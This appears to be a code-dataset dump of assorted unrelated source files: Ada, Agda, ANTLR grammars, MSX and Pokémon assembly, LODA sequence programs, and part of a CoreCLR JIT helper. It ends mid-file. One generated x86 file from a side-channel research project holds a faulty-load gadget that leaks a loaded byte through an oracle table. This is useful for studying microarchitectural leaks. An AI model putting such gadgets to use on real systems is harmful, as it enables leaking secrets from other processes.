max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
courses/fundamentals_of_ada/labs/prompts/140_access_types/datastore.adb
AdaCore/training_material
15
21087
package body Datastore is -- create a global array of elements that can be referenced by 'access -- Implement functions that return the different access types -- based on the index into the array end Datastore;
constants/pokemon_constants.asm
AmateurPanda92/pokemon-rby-dx
9
3827
const_value = 1 const RHYDON ; $01 const KANGASKHAN ; $02 const NIDORAN_M ; $03 const CLEFAIRY ; $04 const SPEAROW ; $05 const VOLTORB ; $06 const NIDOKING ; $07 const SLOWBRO ; $08 const IVYSAUR ; $09 const EXEGGUTOR ; $0A const LICKITUNG ; $0B const EXEGGCUTE ; $0C const GRIMER ; $0D const GENGAR ; $0E const NIDORAN_F ; $0F const NIDOQUEEN ; $10 const CUBONE ; $11 const RHYHORN ; $12 const LAPRAS ; $13 const ARCANINE ; $14 const MEW ; $15 const GYARADOS ; $16 const SHELLDER ; $17 const TENTACOOL ; $18 const GASTLY ; $19 const SCYTHER ; $1A const STARYU ; $1B const BLASTOISE ; $1C const PINSIR ; $1D const TANGELA ; $1E const MISSINGNO_1F ; $1F const MISSINGNO_20 ; $20 const GROWLITHE ; $21 const ONIX ; $22 const FEAROW ; $23 const PIDGEY ; $24 const SLOWPOKE ; $25 const KADABRA ; $26 const GRAVELER ; $27 const CHANSEY ; $28 const MACHOKE ; $29 const MR_MIME ; $2A const HITMONLEE ; $2B const HITMONCHAN ; $2C const ARBOK ; $2D const PARASECT ; $2E const PSYDUCK ; $2F const DROWZEE ; $30 const GOLEM ; $31 const MISSINGNO_32 ; $32 const MAGMAR ; $33 const MISSINGNO_34 ; $34 const ELECTABUZZ ; $35 const MAGNETON ; $36 const KOFFING ; $37 const MISSINGNO_38 ; $38 const MANKEY ; $39 const SEEL ; $3A const DIGLETT ; $3B const TAUROS ; $3C const MISSINGNO_3D ; $3D const MISSINGNO_3E ; $3E const MISSINGNO_3F ; $3F const FARFETCHD ; $40 const VENONAT ; $41 const DRAGONITE ; $42 const MISSINGNO_43 ; $43 const MISSINGNO_44 ; $44 const MISSINGNO_45 ; $45 const DODUO ; $46 const POLIWAG ; $47 const JYNX ; $48 const MOLTRES ; $49 const ARTICUNO ; $4A const ZAPDOS ; $4B const DITTO ; $4C const MEOWTH ; $4D const KRABBY ; $4E const MISSINGNO_4F ; $4F const MISSINGNO_50 ; $50 const MISSINGNO_51 ; $51 const VULPIX ; $52 const NINETALES ; $53 const PIKACHU ; $54 const RAICHU ; $55 const MISSINGNO_56 ; $56 const MISSINGNO_57 ; $57 const DRATINI ; $58 const DRAGONAIR ; $59 const KABUTO ; $5A const KABUTOPS ; $5B const HORSEA ; $5C const SEADRA ; $5D const MISSINGNO_5E ; $5E const MISSINGNO_5F ; $5F const SANDSHREW ; $60 const SANDSLASH ; $61 const OMANYTE ; $62 const OMASTAR ; $63 const JIGGLYPUFF ; $64 const WIGGLYTUFF ; $65 const EEVEE ; $66 const FLAREON ; $67 const JOLTEON ; $68 const VAPOREON ; $69 const MACHOP ; $6A const ZUBAT ; $6B const EKANS ; $6C const PARAS ; $6D const POLIWHIRL ; $6E const POLIWRATH ; $6F const WEEDLE ; $70 const KAKUNA ; $71 const BEEDRILL ; $72 const MISSINGNO_73 ; $73 const DODRIO ; $74 const PRIMEAPE ; $75 const DUGTRIO ; $76 const VENOMOTH ; $77 const DEWGONG ; $78 const MISSINGNO_79 ; $79 const MISSINGNO_7A ; $7A const CATERPIE ; $7B const METAPOD ; $7C const BUTTERFREE ; $7D const MACHAMP ; $7E const MISSINGNO_7F ; $7F const GOLDUCK ; $80 const HYPNO ; $81 const GOLBAT ; $82 const MEWTWO ; $83 const SNORLAX ; $84 const MAGIKARP ; $85 const MISSINGNO_86 ; $86 const MISSINGNO_87 ; $87 const MUK ; $88 const MISSINGNO_89 ; $89 const KINGLER ; $8A const CLOYSTER ; $8B const MISSINGNO_8C ; $8C const ELECTRODE ; $8D const CLEFABLE ; $8E const WEEZING ; $8F const PERSIAN ; $90 const MAROWAK ; $91 const MISSINGNO_92 ; $92 const HAUNTER ; $93 const ABRA ; $94 const ALAKAZAM ; $95 const PIDGEOTTO ; $96 const PIDGEOT ; $97 const STARMIE ; $98 const BULBASAUR ; $99 const VENUSAUR ; $9A const TENTACRUEL ; $9B const MISSINGNO_9C ; $9C const GOLDEEN ; $9D const SEAKING ; $9E const MISSINGNO_9F ; $9F const MISSINGNO_A0 ; $A0 const MISSINGNO_A1 ; $A1 const MISSINGNO_A2 ; $A2 const PONYTA ; $A3 const RAPIDASH ; $A4 const RATTATA ; $A5 const RATICATE ; $A6 const NIDORINO ; $A7 const NIDORINA ; $A8 const GEODUDE ; $A9 const PORYGON ; $AA const AERODACTYL ; $AB const MISSINGNO_AC ; $AC const MAGNEMITE ; $AD const MISSINGNO_AE ; $AE const MISSINGNO_AF ; $AF const CHARMANDER ; $B0 const SQUIRTLE ; $B1 const CHARMELEON ; $B2 const WARTORTLE ; $B3 const CHARIZARD ; $B4 const MISSINGNO_B5 ; $B5 const FOSSIL_KABUTOPS ; $B6 const FOSSIL_AERODACTYL ; $B7 const MON_GHOST ; $B8 const ODDISH ; $B9 const GLOOM ; $BA const VILEPLUME ; $BB const BELLSPROUT ; $BC const WEEPINBELL ; $BD const VICTREEBEL ; $BE NUM_POKEMON_INDEXES EQU const_value + -1
src/Mute.g4
renaudbedard/MuteGrammar
1
4027
<filename>src/Mute.g4 grammar Mute; @lexer::members { boolean inStatement = false; } // ============ // PARSER RULES // ============ parse : statement+ EOF ; statement : MODULE statementPart+ EOL | ID? statementPart+ EOL ; statementPart : assignmentList # assignmentStatementPart | operation # operationStatementPart | condition # conditionStatementPart ; operation : OPERATION_BEGIN lValueExpression assignmentList '}' # assignmentOperation | OPERATION_BEGIN rValueExpression '}' # genericOperation ; condition : CONDITION_BEGIN rValueExpression COMP_OPERATOR rValueExpression ')' # genericCondition | CONDITION_BEGIN lValueExpression ')' # existenceCondition ; assignmentList : ASSIGNMENT_BEGIN assignment (',' assignment)*? ']' ; assignment : (ID | INT) ':' rValueExpression | rValueExpression ; // An l-value expression is an alias to a location in memory; an assignable expression lValueExpression : lValueExpression '.' (ID | INT) | ID ; // An r-value expression is a expression that translates to a value, in-memory or literal rValueExpression : '-' rValueExpression # unaryExpression | rValueExpression ('*' | '/' | '%' | '^') rValueExpression # binaryNumericExpression | rValueExpression ('+' | '-') rValueExpression # binaryNumericExpression | rValueExpression ('&' | '|') rValueExpression # binaryStringExpression | (MODULE '.')? lValueExpression # lValueWrapper | STRING (',' rValueExpression)*? # stringExpansion | INT # numericAtom | rValueExpression '~' rValueExpression # range | '(' rValueExpression ')' # parenthezisedExpression ; // =========== // LEXER RULES // =========== COMMENT : '#' ~[\r\n]* -> skip ; STRING : '"' CHARACTER*? '"' ; MODULE : '<' ID '>' {inStatement = true;} ; ID : (ID_LETTER (ID_LETTER | DIGIT)* | '$') {inStatement = true;} ; INT : DIGIT+ ; COMP_OPERATOR : '>=' | '>' | '<=' | '<' | '=' ; OPERATION_BEGIN : '{' {inStatement = true;} ; CONDITION_BEGIN : '(' {inStatement = true;} ; ASSIGNMENT_BEGIN : '[' {inStatement = true;} ; fragment CHARACTER : ~[\r\n] ; fragment ID_LETTER : [a-zA-Z_] ; fragment DIGIT : [0-9] ; IGNORED_EOL : ('\r'? '\n') {!inStatement}? -> skip ; EOL : ('\r'? '\n') {inStatement = false;} ; WHITESPACE : [ \t]+ -> skip ;
asm/rominit64.asm
artrag/voicenc_scc
4
240111
<reponame>artrag/voicenc_scc<gh_stars>1-10 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; set pages and subslot ; ENASLT: equ 024h RSLREG: equ 0138h EXPTBL: equ 0FCC1h ; Bios Slot / Expansion Slot ; ---------------------------- ; pre-set main slot for page 3 ; and set sub-slot for page 3 ; ---------------------------- macro mainslot_setup n and 3 [2] rrca and 0xC0 ld c,a ld a,d and 0x3F or c ld c,a ; Primary slot value with main slot in page 3 ld a,b and 0x0C [2] rrca and 3 ld b,a ; B = Expanded slot in page 3 ld a,c out (0A8h),a ; Slot : Main Slot, xx, xx, Main slot ld a,(0FFFFh) cpl if (n<=4) [n] RLCA else [8-n] RRCA endif and 0xFC or b if (n<=4) [n] RRCA else [8-n] RLCA endif ld (0FFFFh),a ; Expanded slot selected ld b,a ; save for later endmacro ; ------------------------------ ; SEARCH_SLOT ; look for the slot of our rom ; active in page 1 ; ------------------------------ search_slot: call RSLREG [2] rrca and 3 ld c,a ld b,0 ld hl,EXPTBL add hl,bc ld a,(hl) and 080h or c ld c,a [4] inc hl ld a,(hl) and 0Ch or c ld (slotvar),a ret ; ------------------------------ ; look for the slot of ram ; active in page 3 ; ------------------------------ search_slotram: di call RSLREG [2] rlca and 3 ld c,a ld b,0 ld hl,EXPTBL add hl,bc ld a,(hl) and 080h jr z,search_slotram0 or c ld c,a [4] inc hl ld a,(hl) [4] rlca and 0Ch search_slotram0: or c ld (slotram),a ret ; ------------------------------ ; SETROMPAGE0 ; Set the chart in ; Page 0 ; ----------------------------- setrompage0: ld a,(slotvar) jp setslotpage0 setrampage0: ld a,(slotram) jp setslotpage0 setrompage2: ld a,(slotvar) jp setslotpage2 setrampage2: ld a,(slotram) jp setslotpage2 setrompage3: ld a,(slotvar) jp setslotpage3 setrampage3: ld a,(slotram) jp setslotpage3 ; ------------------------------ ; RECBIOS ; set the bios ROM ; ------------------------------- recbios: ld a,(EXPTBL) ; --------------------------- ; SETSLOTPAGE0 ; Set the slot passed in A ; at page 0 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage0: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 0 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret ; --------------------------- ; SETSLOTPAGE1 ; Set the slot passed in A ; at page 1 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage1: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) [2] RRCA and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d [2] RLCA ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 6 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret ; --------------------------- ; SETSLOTPAGE2 ; Set the slot passed in A ; at page 2 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage2: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) [4] RLCA and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d [4] RRCA ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 4 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret ; --------------------------- ; SETSLOTPAGE3 ; Set the slot passed in A ; at page 3 in the Z80 address space ; A: Format FxxxSSPP ; ---------------------------- setslotpage3: di ld b,a ; B = Slot param in FxxxSSPP format in a,(0A8h) [2] RLCA and 0xFC ld d,a ; D = Primary slot value ld a,b and 3 or d [2] RRCA ld d,a ; D = Final Value for primary slot ld a,b ; Check if expanded bit 7,a jr z,1f ; Not Expanded mainslot_setup 2 1: ld a,d ; A = Final value out (0A8h),a ; Slot Final. Ram, rom c, rom c, Main ret
Task/Enforced-immutability/Ada/enforced-immutability-1.ada
mullikine/RosettaCodeData
1
23208
<reponame>mullikine/RosettaCodeData Foo : constant := 42; Foo : constant Blahtype := Blahvalue;
test/Succeed/Issue439.agda
cruhland/agda
1,989
6002
{- This example goes through now that we allow instantiation of blocked terms #-} module Issue439 where record Σ (A : Set) (B : A → Set) : Set where constructor _,_ field p₁ : A p₂ : B p₁ open Σ record ⊤ : Set where data Tree : Set where leaf : Tree node : Tree → Tree → Tree mutual U : Tree → Set U leaf = ⊤ U (node tr₁ tr₂) = Σ (U tr₁) λ a → El a → U tr₂ El : ∀ {tr} → U tr → Set El {leaf} _ = ⊤ El {node tr₁ tr₂} (a , b) = (x : El a) → El (b x) mutual data C : Set where c : (Γ : C) → T Γ → C T : C → Set T Γ = Σ Tree (λ tr → E Γ → U tr) E : C → Set E (c Γ σ) = Σ (E Γ) λ γ → El (p₂ σ γ) postulate e : C M : (Γ : C) → T Γ → Set z : ∀ {Γ σ} → M (c Γ σ) (p₁ σ , λ γ → p₂ σ (p₁ γ)) l : ∀ {Γ} σ {τ} → M (c Γ σ) τ → M Γ (_ , λ γ → p₂ σ γ , λ v → p₂ τ (γ , v)) a : ∀ {Γ tr₁ tr₂ σ} → M Γ (node tr₁ tr₂ , σ) → M Γ (tr₁ , λ γ → p₁ (σ γ)) → M Γ (leaf , _) s : ∀ {Γ} → M Γ (leaf , _) t : ∀ {Γ σ} → M Γ σ → T Γ t {σ = σ} _ = σ foo : M (c e (leaf , _)) (leaf , _) foo = a (l (t s) z) z
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/sqrt.asm
jpoikela/z88dk
0
99851
SECTION code_fp_math32 PUBLIC sqrt EXTERN cm32_sccz80_fssqrt defc sqrt = cm32_sccz80_fssqrt ; SDCC bridge for Classic IF __CLASSIC PUBLIC _sqrt defc _sqrt = sqrt ENDIF
libsrc/games/vg5k/bit_close.asm
meesokim/z88dk
0
25275
<gh_stars>0 ; $Id: bit_close.asm,v 1.2 2015/01/19 01:32:45 pauloscustodio Exp $ ; ; VG-5000 1 bit sound functions ; ; void bit_click(); ; ; <NAME> - 2014 ; PUBLIC bit_close .bit_close ret
oeis/145/A145134.asm
neoneye/loda-programs
11
165137
; A145134: Expansion of x/((1 - x - x^4)*(1 - x)^5). ; Submitted by <NAME> ; 0,1,6,21,56,127,259,490,876,1498,2472,3963,6204,9522,14374,21397,31477,45844,66203,94915,135247,191717,270570,380435,533232,745424,1039745,1447585,2012282,2793666,3874331,5368292,7432934,10285505,14225881,19667988,27183173,37560068,51887219,71667137,98973720,136669539,188705753,260536075,359688160,496552279,685469908,946236283,1306174343,1802997347,2488760080,3435312614,4741828012,6545192649,9034347739,12470084623,17212367761,23758048045,32792917639,45263560107,62476523533,86235206954 mov $3,4 lpb $0 mov $2,$0 sub $0,3 trn $0,1 add $2,$3 add $3,1 bin $2,$3 add $1,$2 lpe mov $0,$1
programs/oeis/246/A246294.asm
karttu/loda
0
166112
<reponame>karttu/loda ; A246294: Numbers k such that sin(k) < sin(k+1) > sin(k+2). ; 1,7,13,19,26,32,38,45,51,57,63,70,76,82,89,95,101,107,114,120,126,133,139,145,151,158,164,170,176,183,189,195,202,208,214,220,227,233,239,246,252,258,264,271,277,283,290,296,302,308,315,321,327,334,340,346,352,359,365,371,378,384,390,396,403,409,415,422,428,434,440,447,453,459,466,472,478,484,491,497,503,510,516,522,528,535,541,547,553,560,566,572,579,585,591,597,604,610,616,623,629,635,641,648,654,660,667,673,679,685,692,698,704,711,717,723,729,736,742,748,755,761,767,773,780,786,792,799,805,811,817,824,830,836,843,849,855,861,868,874,880,886,893,899,905,912,918,924,930,937,943,949,956,962,968,974,981,987,993,1000,1006,1012,1018,1025,1031,1037,1044,1050,1056,1062,1069,1075,1081,1088,1094,1100,1106,1113,1119,1125,1132,1138,1144,1150,1157,1163,1169,1176,1182,1188,1194,1201,1207,1213,1220,1226,1232,1238,1245,1251,1257,1263,1270,1276,1282,1289,1295,1301,1307,1314,1320,1326,1333,1339,1345,1351,1358,1364,1370,1377,1383,1389,1395,1402,1408,1414,1421,1427,1433,1439,1446,1452,1458,1465,1471,1477,1483,1490,1496,1502,1509,1515,1521,1527,1534,1540,1546,1553,1559,1565 add $0,367 cal $0,246388 ; Nonnegative integers k satisfying sin(k) >= 0 and sin(k+1) <= 0. mov $1,$0 sub $1,2308
cmdb-core/src/main/resources/RouteQuery.g4
allen0814/we-cmdb
1
5103
/* * To change this license header, choose License Headers in Project Properties. To change this * template file, choose Tools | Templates and open the template in the editor. */ grammar RouteQuery; route: link # LinkRoute | entity_node # EntityRoute; link: entity_node by bwd_node # EntityByBwdNode | fwd_node to entity_node # FwdNodeToEntity | link DOT attr to entity_node # LinkToEntity | link by bwd_node # LinkByBwdNode; to: GT; by: TILDE; fwd_node: entity_node DOT attr; bwd_node: LP attr RP entity_node; entity_node: entity fetch | entity condition (fetch)? | entity cond_array (fetch)?; fetch: SC attr | SC attr_array; entity: ID; attr: ID; attr_array: '[' attr (',' attr)* ']'; cond_array: '[' condition (',' condition)* ']'; condition: BL attr OP_EQ value BR # ConditionEq | BL attr ID OP_GT value BR # ConditionGt | BL attr OP_LT value BR # ConditionLt | BL attr OP_NE value BR # ConditionNe | BL attr OP_IN array BR # ConditionIn | BL attr OP_CTAN STRING BR # ConditionContains | BL attr OP_NN BR # ConditionNotNull | BL attr OP_NL BR # ConditionIsNull; array: '[' value (',' value)* ']'; value: STRING # ValString | NUMBER # ValNumber | BOOLEAN # ValBool | 'null' # ValNull; TILDE: '~'; GT: '>'; DOT: '.'; LP: '('; RP: ')'; DC: ':' ':'; SC: ':'; DQM: '"' '"'; BL: '{'; BR: '}'; LSB: '['; RSB: ']'; //filter operator OP_EQ: 'eq'; OP_GT: 'gt'; OP_LT: 'lt'; OP_NE: 'ne'; OP_IN: 'in'; OP_CTAN: 'contains'; OP_NN: 'notNull'; OP_NL: 'null'; OPERATOR: OP_EQ | OP_GT | OP_LT | OP_NE | OP_IN | OP_CTAN | OP_NN | OP_NL; STRING: '"' (ESC | ~["\\])* '"' | '\'' (ESC | ~['\\])* '\''; fragment ESC: '\\' (["\\/bfnrt] | UNICODE); fragment UNICODE: 'u' HEX HEX HEX HEX; fragment HEX: [0-9a-fA-F]; NUMBER: '-'? INT '.' [0-9]+ EXP? // 1.35, 1.35E-9, 0.3, -4.5 | '-'? INT EXP // 1e10 -3e4 | '-'? INT; // -3, 45 BOOLEAN: 'true' | 'false'; // MEMBER: LSB ID RSB; ID: Letter LetterOrDigit*; PKG_ID: ID; fragment Letter: [a-zA-Z!@#$%^&*_-]; fragment Digit: [0-9]; fragment LetterOrDigit: Letter | Digit; fragment INT: '0' | [1-9] [0-9]*; // no leading zeros fragment EXP: [Ee] [+\-]? INT; // \- since - means "range" inside [...] WS: [ \t\r\n]+ -> skip; // skip spaces, tabs, newlines
PRG/levels/Plains/8-1.asm
narfman0/smb3_pp1
0
19359
; Original address was $B787 ; 8-1 .word $0000 ; Alternate level layout .word $0000 ; Alternate object layout .byte LEVEL1_SIZE_11 | LEVEL1_YSTART_180 .byte LEVEL2_BGPAL_05 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18 .byte LEVEL3_TILESET_01 | LEVEL3_VSCROLL_LOCKLOW .byte LEVEL4_BGBANK_INDEX(1) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_UNDERGROUND | LEVEL5_TIME_300 .byte $00, $00, $03, $1A, $00, $C0, $0B, $39, $0B, $40, $13, $0A, $E2, $4F, $00, $5F .byte $50, $00, $5F, $51, $00, $5F, $52, $00, $5F, $53, $00, $5F, $54, $00, $5F, $55 .byte $00, $5F, $56, $00, $5F, $57, $00, $5F, $58, $00, $5F, $59, $00, $5A, $59, $0C .byte $53, $5A, $0C, $53, $19, $10, $C1, $08, $33, $16, $A5, $36, $1C, $A4, $16, $11 .byte $01, $35, $14, $20, $35, $18, $00, $11, $1D, $E2, $12, $11, $E2, $1A, $27, $C0 .byte $88, $2A, $28, $B8, $32, $24, $A3, $34, $28, $D2, $17, $2A, $01, $19, $2E, $94 .byte $36, $24, $40, $36, $25, $70, $33, $28, $70, $33, $29, $40, $32, $2E, $13, $35 .byte $2E, $13, $32, $2F, $0A, $35, $2F, $30, $33, $20, $A7, $26, $05, $40, $45, $05 .byte $08, $1A, $34, $A6, $1A, $3C, $A3, $54, $3C, $34, $59, $3C, $30, $56, $37, $31 .byte $58, $37, $32, $59, $34, $30, $37, $3A, $02, $11, $38, $E2, $12, $35, $E2, $48 .byte $40, $BC, $0C, $55, $40, $B1, $03, $48, $4E, $BE, $01, $57, $4F, $B0, $00, $36 .byte $44, $28, $36, $45, $0B, $58, $4F, $30, $59, $45, $30, $19, $40, $92, $19, $47 .byte $96, $1A, $51, $A4, $1A, $5A, $A3, $36, $50, $07, $53, $50, $30, $54, $50, $B0 .byte $00, $31, $56, $21, $36, $5D, $20, $34, $5F, $A5, $15, $56, $31, $17, $57, $32 .byte $12, $5A, $E2, $1A, $6B, $A7, $12, $62, $02, $58, $6B, $31, $11, $67, $E2, $14 .byte $6D, $E2, $53, $72, $32, $56, $72, $33, $55, $7A, $32, $58, $7A, $31, $37, $77 .byte $0E, $38, $73, $83, $19, $73, $96, $14, $75, $E2, $11, $7C, $E2, $12, $7D, $02 .byte $1A, $84, $AD, $35, $8A, $A5, $39, $84, $60, $12, $8E, $E2, $14, $85, $E2, $35 .byte $91, $A4, $19, $93, $93, $40, $98, $09, $E2, $02, $D4, $FF
oeis/097/A097199.asm
neoneye/loda-programs
11
241574
; A097199: Numbers of the form p^4 + 4^p for p prime. ; Submitted by <NAME> ; 32,145,1649,18785,4208945,67137425,17179952705,274878037265,70368744457505,288230376152419025,4611686018428311425,18889465931478582728945,4835703278458516701650465 seq $0,40 ; The prime numbers. seq $0,1589 ; a(n) = 4^n + n^4.
src/data/lib/prim/Agda/Builtin/Unit.agda
alhassy/agda
3
8329
{-# OPTIONS --without-K #-} module Agda.Builtin.Unit where record ⊤ : Set where instance constructor tt {-# BUILTIN UNIT ⊤ #-} {-# COMPILE GHC ⊤ = data () (()) #-}
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_442.asm
ljhsiun2/medusa
9
170473
<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_442.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x16d6d, %r15 nop nop nop and %r13, %r13 mov $0x6162636465666768, %rbx movq %rbx, (%r15) nop nop nop cmp %r12, %r12 lea addresses_WT_ht+0xd76d, %rsi lea addresses_D_ht+0xdced, %rdi and %rbx, %rbx mov $13, %rcx rep movsw nop cmp %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r9 push %rax push %rsi // Faulty Load lea addresses_RW+0xfd6d, %rax nop nop nop nop nop add $7996, %r11 mov (%rax), %r15d lea oracles, %r11 and $0xff, %r15 shlq $12, %r15 mov (%r11,%r15,1), %r15 pop %rsi pop %rax pop %r9 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
src/vm/i386/jithelp.asm
ANahr/coreclr-Playground
1
164778
<filename>src/vm/i386/jithelp.asm<gh_stars>1-10 ; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ; *********************************************************************** ; File: JIThelp.asm ; ; *********************************************************************** ; ; *** NOTE: If you make changes to this file, propagate the changes to ; jithelp.s in this directory ; This contains JITinterface routines that are 100% x86 assembly .586 .model flat include asmconstants.inc include asmmacros.inc option casemap:none .code ; ; <TODO>@TODO Switch to g_ephemeral_low and g_ephemeral_high ; @TODO instead of g_lowest_address, g_highest address</TODO> ; ARGUMENT_REG1 equ ecx ARGUMENT_REG2 equ edx g_ephemeral_low TEXTEQU <_g_ephemeral_low> g_ephemeral_high TEXTEQU <_g_ephemeral_high> g_lowest_address TEXTEQU <_g_lowest_address> g_highest_address TEXTEQU <_g_highest_address> g_card_table TEXTEQU <_g_card_table> WriteBarrierAssert TEXTEQU <_WriteBarrierAssert@8> JIT_LLsh TEXTEQU <_JIT_LLsh@0> JIT_LRsh TEXTEQU <_JIT_LRsh@0> JIT_LRsz TEXTEQU <_JIT_LRsz@0> JIT_LMul TEXTEQU <@JIT_LMul@16> JIT_Dbl2LngOvf TEXTEQU <@JIT_Dbl2LngOvf@8> JIT_Dbl2Lng TEXTEQU <@JIT_Dbl2Lng@8> JIT_Dbl2IntSSE2 TEXTEQU <@JIT_Dbl2IntSSE2@8> JIT_Dbl2LngP4x87 TEXTEQU <@JIT_Dbl2LngP4x87@8> JIT_Dbl2LngSSE3 TEXTEQU <@JIT_Dbl2LngSSE3@8> JIT_InternalThrowFromHelper TEXTEQU <@JIT_InternalThrowFromHelper@4> JIT_WriteBarrierReg_PreGrow TEXTEQU <_JIT_WriteBarrierReg_PreGrow@0> JIT_WriteBarrierReg_PostGrow TEXTEQU <_JIT_WriteBarrierReg_PostGrow@0> JIT_TailCall TEXTEQU <_JIT_TailCall@0> JIT_TailCallLeave TEXTEQU <_JIT_TailCallLeave@0> JIT_TailCallVSDLeave 